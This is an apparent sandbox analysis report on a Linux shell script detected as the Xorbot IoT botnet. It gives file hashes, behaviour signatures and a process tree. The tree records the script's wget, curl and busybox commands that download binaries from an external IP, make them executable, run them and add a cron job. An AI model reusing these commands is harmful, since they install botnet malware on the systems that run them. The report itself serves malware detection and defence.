Overview

overview

10

Static

static

1

ZENNW_5CAY8_bins.sh

ubuntu-18.04-amd64

10

ZENNW_5CAY8_bins.sh

debian-9-armhf

10

ZENNW_5CAY8_bins.sh

debian-9-mips

10

ZENNW_5CAY8_bins.sh

debian-9-mipsel

10

Analysis

  • max time kernel
    149s
  • max time network
    150s
  • platform
    ubuntu-18.04_amd64
  • resource
    ubuntu1804-amd64-20240729-en
  • resource tags

    arch:amd64arch:i386image:ubuntu1804-amd64-20240729-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
  • submitted
    27/02/2025, 23:18

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General

  • Target

    ZENNW_5CAY8_bins.sh

  • Size

    10KB

  • MD5

    5cae212a65109f1a0f1218d70286d4b0

  • SHA1

    1f0fb32f13a4e4ad9463a27c76e9b76591a92408

  • SHA256

    af798822bd6bbe4e5648d097c02ed204fada91fcf1260c48cf0fa9a190e30b6c

  • SHA512

    d3ea3fdfdc55fb8881318fd786c2bc94d83051e51f345bb9bbe6523215acd0367cc3e26a840de561b8aae9e3915c6f2c2d2b2d49b73a6e04f66eb14293c17ffe

  • SSDEEP

    192:QyeOaCMsvmyHcwni6q4YBC+7cR9aP3Ty/IDq4YBC+vER9aP3asDNsTMsvmyzcwnQ:QyeOaCMsvmyHcwni6q4YBC+IR9aP3TqP

Score
10/10
xorbotbotnetdefense_evasiondiscoveryexecutionpersistenceprivilege_escalationtrojan

Malware Config

Signatures

  • Detects Xorbot 5 IoCs
    botnettrojan
  • Xorbot

    Xorbot is a linux botnet and trojan targeting IoT devices.

    botnettrojanxorbot
  • Xorbot family
    xorbot
  • Contacts a large (2207) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

    discovery
  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

    discovery
  • File and Directory Permissions Modification 1 TTPs 4 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

    defense_evasion
  • Executes dropped EXE 4 IoCs
  • Renames itself 1 IoCs
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

    executionpersistenceprivilege_escalation
  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

    discovery
  • Writes file to tmp directory 14 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/ZENNW_5CAY8_bins.sh
    /tmp/ZENNW_5CAY8_bins.sh
    1⤵
    • Executes dropped EXE
    PID:1498
    • /bin/rm
      /bin/rm bins.sh
      2⤵
        PID:1499
      • /usr/bin/wget
        wget http://37.44.238.88/bins/Pfo0CBoPyLTEtTaXlYQgEtuvDI8Ao3dvFT
        2⤵
        • Writes file to tmp directory
        PID:1500
      • /usr/bin/curl
        curl -O http://37.44.238.88/bins/Pfo0CBoPyLTEtTaXlYQgEtuvDI8Ao3dvFT
        2⤵
        • Writes file to tmp directory
        PID:1504
      • /bin/busybox
        /bin/busybox wget http://37.44.238.88/bins/Pfo0CBoPyLTEtTaXlYQgEtuvDI8Ao3dvFT
        2⤵
        • Writes file to tmp directory
        PID:1505
      • /bin/chmod
        chmod 777 Pfo0CBoPyLTEtTaXlYQgEtuvDI8Ao3dvFT
        2⤵
        • File and Directory Permissions Modification
        PID:1506
      • /tmp/Pfo0CBoPyLTEtTaXlYQgEtuvDI8Ao3dvFT
        ./Pfo0CBoPyLTEtTaXlYQgEtuvDI8Ao3dvFT
        2⤵
          PID:1507
        • /bin/rm
          rm Pfo0CBoPyLTEtTaXlYQgEtuvDI8Ao3dvFT
          2⤵
            PID:1509
          • /usr/bin/wget
            wget http://37.44.238.88/bins/11CZ4J7HnT6Xb9qb6K36oBPwlOX5ZmESzN
            2⤵
            • Writes file to tmp directory
            PID:1510
          • /usr/bin/curl
            curl -O http://37.44.238.88/bins/11CZ4J7HnT6Xb9qb6K36oBPwlOX5ZmESzN
            2⤵
            • Writes file to tmp directory
            PID:1511
          • /bin/busybox
            /bin/busybox wget http://37.44.238.88/bins/11CZ4J7HnT6Xb9qb6K36oBPwlOX5ZmESzN
            2⤵
            • Writes file to tmp directory
            PID:1512
          • /bin/chmod
            chmod 777 11CZ4J7HnT6Xb9qb6K36oBPwlOX5ZmESzN
            2⤵
            • File and Directory Permissions Modification
            PID:1513
          • /tmp/11CZ4J7HnT6Xb9qb6K36oBPwlOX5ZmESzN
            ./11CZ4J7HnT6Xb9qb6K36oBPwlOX5ZmESzN
            2⤵
              PID:1514
            • /bin/rm
              rm 11CZ4J7HnT6Xb9qb6K36oBPwlOX5ZmESzN
              2⤵
                PID:1516
              • /usr/bin/wget
                wget http://37.44.238.88/bins/wNt667Db4S0sgUJP1g36lcnFnByIeFKjFE
                2⤵
                • Writes file to tmp directory
                PID:1517
              • /usr/bin/curl
                curl -O http://37.44.238.88/bins/wNt667Db4S0sgUJP1g36lcnFnByIeFKjFE
                2⤵
                • Writes file to tmp directory
                PID:1518
              • /bin/busybox
                /bin/busybox wget http://37.44.238.88/bins/wNt667Db4S0sgUJP1g36lcnFnByIeFKjFE
                2⤵
                • Writes file to tmp directory
                PID:1519
              • /bin/chmod
                chmod 777 wNt667Db4S0sgUJP1g36lcnFnByIeFKjFE
                2⤵
                • File and Directory Permissions Modification
                PID:1520
              • /tmp/wNt667Db4S0sgUJP1g36lcnFnByIeFKjFE
                ./wNt667Db4S0sgUJP1g36lcnFnByIeFKjFE
                2⤵
                  PID:1521
                • /bin/rm
                  rm wNt667Db4S0sgUJP1g36lcnFnByIeFKjFE
                  2⤵
                    PID:1523
                  • /usr/bin/wget
                    wget http://37.44.238.88/bins/vKsN87FfQlOiSr2whSMyQq3XNdvhS5rTX6
                    2⤵
                    • Writes file to tmp directory
                    PID:1524
                  • /usr/bin/curl
                    curl -O http://37.44.238.88/bins/vKsN87FfQlOiSr2whSMyQq3XNdvhS5rTX6
                    2⤵
                    • Writes file to tmp directory
                    PID:1525
                  • /bin/busybox
                    /bin/busybox wget http://37.44.238.88/bins/vKsN87FfQlOiSr2whSMyQq3XNdvhS5rTX6
                    2⤵
                    • Writes file to tmp directory
                    PID:1526
                  • /bin/chmod
                    chmod 777 vKsN87FfQlOiSr2whSMyQq3XNdvhS5rTX6
                    2⤵
                    • File and Directory Permissions Modification
                    PID:1527
                  • /tmp/vKsN87FfQlOiSr2whSMyQq3XNdvhS5rTX6
                    ./vKsN87FfQlOiSr2whSMyQq3XNdvhS5rTX6
                    2⤵
                    • Renames itself
                    • Reads runtime system information
                    PID:1528
                    • /bin/sh
                      sh -c "crontab -l"
                      3⤵
                        PID:1530
                        • /usr/bin/crontab
                          crontab -l
                          4⤵
                            PID:1531
                        • /bin/sh
                          sh -c "crontab -"
                          3⤵
                            PID:1532
                            • /usr/bin/crontab
                              crontab -
                              4⤵
                              • Creates/modifies Cron job
                              PID:1533
                        • /bin/rm
                          rm vKsN87FfQlOiSr2whSMyQq3XNdvhS5rTX6
                          2⤵
                            PID:1535
                          • /usr/bin/wget
                            wget http://37.44.238.88/bins/JVywqHuM3xJqkpfjh4oyy8DMsZNFcFHTBn
                            2⤵
                            • Writes file to tmp directory
                            PID:1538
                          • /usr/bin/curl
                            curl -O http://37.44.238.88/bins/JVywqHuM3xJqkpfjh4oyy8DMsZNFcFHTBn
                            2⤵
                            • Writes file to tmp directory
                            PID:1539

                        Network

                        MITRE ATT&CK Enterprise v15

                        Replay Monitor

                        Loading Replay Monitor...

                        Downloads

                        • /tmp/11CZ4J7HnT6Xb9qb6K36oBPwlOX5ZmESzN
                          Filesize

                          122KB

                          MD5

                          cd3d4b9c643e5b473fb4d88ed05f0716

                          SHA1

                          64ee7a97418583d759eaea8000890cc3bae1b5f4

                          SHA256

                          0cbb1e62423a82d17a7b1c9def6a5570a8414f36e2623f1d82cd4e6281930944

                          SHA512

                          164ee6eb1dc167f48a62683700bf3a4787f9ec4b12335e9e30d6670406324d111557b3be22fd6a9689b4f60562c8a3bf62867f2cae86c04cb1b01ee2e219cc52

                          Download Submit

                        • /tmp/JVywqHuM3xJqkpfjh4oyy8DMsZNFcFHTBn
                          Filesize

                          98KB

                          MD5

                          5141342d0df8699fa32a6b066a0c592e

                          SHA1

                          8157673225bd5182f16215e2aa823a25ca2d4fbc

                          SHA256

                          54302d130cd356fb19ea5a763c5ab6b0892fc234118f10ba3196ec4245c83b4d

                          SHA512

                          d6b24571e7691227abafc70133a1da007c97c2730c820de77a750d2c140a8a75554cc614b4729debc4ec5480124252737c5846a458a5146005285c6d3f9e3801

                          Download Submit

                        • /tmp/JVywqHuM3xJqkpfjh4oyy8DMsZNFcFHTBn
                          Filesize

                          12KB

                          MD5

                          3b0c97e4efe8bda564bd423af5beb068

                          SHA1

                          5fe934ff48e6ef7810bfc550965d79bf9401f623

                          SHA256

                          3e044a8f31917e236447f1a8557da4a5dd12e6ff1c1b5a380df9552cd8331310

                          SHA512

                          6b743987431af4d79fe8ec400a06dceda7b2414b90533cf46e9dc9f87ad88b43b53246f07375ebdf783e1f54e5ff02d60cdf381eda8a2701c269524e05c9b199

                          Download Submit

                        • /tmp/Pfo0CBoPyLTEtTaXlYQgEtuvDI8Ao3dvFT
                          Filesize

                          141KB

                          MD5

                          3ca8decdb1e52c423c521bfff02ac200

                          SHA1

                          8621ecd6807109b8541912ad9e134f6fb49bfd48

                          SHA256

                          dee3a1252e88f188c362e08b16ece678559ad2566511871f5cde69296f6c779f

                          SHA512

                          b6f89d7875d584c109f30814738fec4fe04619745941d9cbbff20bbefbab454dee7180321f6913da1a3b89fba2dc743b28631e52261539d091cc802a5c7a1c7a

                          Download Submit

                        • /tmp/vKsN87FfQlOiSr2whSMyQq3XNdvhS5rTX6
                          Filesize

                          112KB

                          MD5

                          05d7857dcead18bbd86d2935f591873c

                          SHA1

                          34d18f41ef35f93d5364ce3e24d74730a4e91985

                          SHA256

                          2cb1fa4742268fb0196613aee7a39a08a0707b3ef8853280d5060c44f3650d70

                          SHA512

                          d1793861067758a064ac1d59c80c78f9cb4b64dd680ab4a62dd050156dc0318dde590c7b44c1184c9ee926f73c3fc242662e42645faab6685ecef9d238d2e53e

                          Download Submit

                        • /tmp/wNt667Db4S0sgUJP1g36lcnFnByIeFKjFE
                          Filesize

                          107KB

                          MD5

                          eb9c3a0de91fcf16ba17cb24608df68c

                          SHA1

                          09d95a7d70d5e115d103be51edff7c498d272fac

                          SHA256

                          dd01a1365a9f35501e09e0144ed1d4d8b00dcf20aa66cf6dc186e94d7dbe4b47

                          SHA512

                          9e1f3f88f82bb41c68d78b351c8dc8075522d6d42063f798b6ef38a491df7a3bab2c312d536fb0a6333e516d7dc4f5a58b80beb69422a04d1dbc61eaba346e27

                          Download Submit

                        • /var/spool/cron/crontabs/tmp.FlwtmN
                          Filesize

                          210B

                          MD5

                          91ff45e9a10bd02f3e634deba5c5e981

                          SHA1

                          448d2ffb65aa82f1176bf9db6f5c059875e78ebf

                          SHA256

                          c7fc4c524fc43aad54c8bbf06e6b81b32d16e3e2fe16a35aa3b97d29a86a8dca

                          SHA512

                          0af08a26e826bf25ce6bbb4c7f71a269ea6eac667fbb619800559bd1c517f69d9b86d92e00c1f354de987b1edc5466ae1cfb8ed41c36eb846220a14809231860

                          Download Submit